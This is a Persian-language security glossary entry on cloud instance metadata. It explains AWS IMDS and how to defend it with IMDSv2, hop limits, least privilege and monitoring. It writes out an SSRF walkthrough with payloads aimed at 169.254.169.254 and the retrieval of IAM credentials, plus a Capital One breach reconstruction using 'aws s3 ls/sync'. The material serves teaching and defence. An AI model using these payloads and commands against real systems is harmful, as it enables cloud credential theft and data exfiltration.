متادیتا
دادهای که دادههای دیگر را توصیف میکند. در محاسبات ابری، اطلاعات پیکربندی درباره نمونهها از جمله اعتبارنامههای موقت است.
تعریف کوتاه
متادیتا یعنی "داده درباره داده". در ابر، اطلاعاتی درباره سرور شماست: شناسه آن، تنظیمات شبکه، و مهمتر از همه، رمزهای موقت (اعتبارنامه) برای دسترسی به سرویسهای دیگر. مشکل: در یک آدرس معروف قابل دسترسی است که مهاجمان عاشق هدف قرار دادنش هستند.
تعریف کامل
در محاسبات عمومی، متادیتا ویژگیهای داده را توصیف میکند. در زمینه امنیت ابر، به طور خاص به متادیتای نمونه ارائه شده توسط پلتفرمهای ابری اشاره دارد.
متادیتای نمونه ابری شامل:
اطلاعات هویتی:
- شناسه نمونه
- شناسه حساب
- منطقه/منطقه در دسترس
- نوع نمونه
پیکربندی شبکه:
- آدرس IP خصوصی
- آدرس IP عمومی
- گروههای امنیتی
- آدرس MAC
اعتبارنامه IAM:
- شناسه کلید دسترسی
- کلید دسترسی مخفی
- توکن نشست
- زمان انقضا
داده کاربر:
- اسکریپتهای bootstrap
- فایلهای پیکربندی
- گاهی حاوی اسرار
چگونگی دسترسی (مثال AWS):
1# دریافت شناسه نمونه2curl http://169.254.169.254/latest/meta-data/instance-id34# دریافت اعتبارنامه نقش IAM5curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
چرا مهم است
- برای عملکرد نمونههای ابری ضروری است
- حاوی اعتبارنامههای بسیار حساس است
- هدف اصلی در حملات SSRF
- اعتبارنامه برای ساعاتی معتبر است
- آدرس استاندارد در تمام نمونهها
چگونه مهاجمان از آن استفاده میکنند
حمله SSRF برای سرقت متادیتا:
۱. پیدا کردن نقطه پایانی آسیبپذیر:
1# برنامه تصاویر را از URLها واکشی میکند2POST /fetch-image3{"url": "http://example.com/pic.jpg"}
۲. درخواست متادیتا به جای آن:
1{"url": "http://169.254.169.254/latest/meta-data/"}
۳. سرور با متادیتا پاسخ میدهد:
1ami-id2ami-launch-index3iam/4instance-id5...
۴. دریافت اعتبارنامه:
1{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"}
۵. برمیگرداند:
1{2 "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",3 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",4 "Token": "very-long-session-token...",5 "Expiration": "2026-02-27T12:00:00Z"6}
۶. استفاده از اعتبارنامه:
1aws s3 ls --access-key ASIA... --secret-key wJal...2# اکنون به همه باکتهای S3 که نقش اجازه میدهد دسترسی دارد
چگونه تشخیص یا پیشگیری کنیم
پیشگیری:
استفاده از IMDSv2:
1# IMDSv2 ابتدا نیاز به توکن دارد2TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")34# سپس از توکن در هدر استفاده کنید5curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
حملات SSRF به راحتی نمیتوانند درخواست PUT + هدر سفارشی را تکرار کنند.
محدودیتهای شبکه:
1# تنظیم محدودیت hop به ۱ (جلوگیری از ارسال)2aws ec2 modify-instance-metadata-options \3 --instance-id i-1234567890abcdef0 \4 --http-put-response-hop-limit 1
محدودیتهای نقش IAM:
- اعمال کمترین دسترسی
- محدود کردن آنچه اعتبارنامه متادیتا میتواند دسترسی داشته باشد
- استفاده از سیاستهای مبتنی بر منبع
سطح برنامه:
- مسدود کردن 169.254.169.254 در درخواستهای خروجی
- اعتبارسنجی URLها قبل از واکشی
- استفاده از لیست سفید برای درخواستهای خارجی
تشخیص:
- نظارت بر دسترسی به نقطه پایانی متادیتا
- هشدار در مورد الگوهای دسترسی غیرعادی
- ردیابی استفاده از اعتبارنامه بر اساس منبع
- ثبت تمام فراخوانیهای API انجام شده با اعتبارنامه متادیتا
باورهای غلط رایج
- "متادیتا فقط اطلاعات فنی است" - شامل اعتبارنامه کامل است
- "از بیرون قابل دسترسی نیست" - SSRF این را دور میزند
- "تغییرات متادیتا نیاز به راهاندازی مجدد دارد" - پویا، خودکار بهروزرسانی میشود
- "مسدود کردن IP کافی است" - میتوان از نام DNS در برخی ابرها استفاده کرد
- "IMDSv2 کاملاً از SSRF جلوگیری میکند" - کمک زیادی میکند اما ۱۰۰٪ نیست
مثال واقعی
نقض Capital One - بهرهبرداری از متادیتا
گام به گام:
۱. WAF آسیبپذیر URLها را میپذیرفت
۲. مهاجم کاوش کرد:
1http://169.254.169.254/2→ پاسخ گرفت!
۳. نقشهای IAM را فهرست کرد:
1http://169.254.169.254/latest/meta-data/iam/security-credentials/2→ پاسخ: ISRM-WAF-Role
۴. اعتبارنامه را بازیابی کرد:
1http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role2→ اعتبارنامه کامل AWS برگردانده شد
۵. از اعتبارنامه برای فهرست کردن S3 استفاده کرد:
1aws s3 ls --profile stolen-creds2→ ۷۰۰+ باکت قابل مشاهده
۶. دادههای حساس را دانلود کرد:
1aws s3 sync s3://bucket-with-customer-data ./2→ بیش از ۱۰۰ میلیون رکورد مشتری
چرا کار کرد:
- IMDSv1 (بدون احراز هویت)
- نقش WAF دسترسی بیش از حد داشت
- نظارتی بر دسترسی غیرعادی به متادیتا نبود
- اعتبارسنجی بر واکشی URL وجود نداشت
هزینه: بیش از ۲۳۰ میلیون دلار جریمه و بهبود
اصطلاحات مرتبط
IMDS, Cloud Infrastructure, Credentials, SSRF, Access Key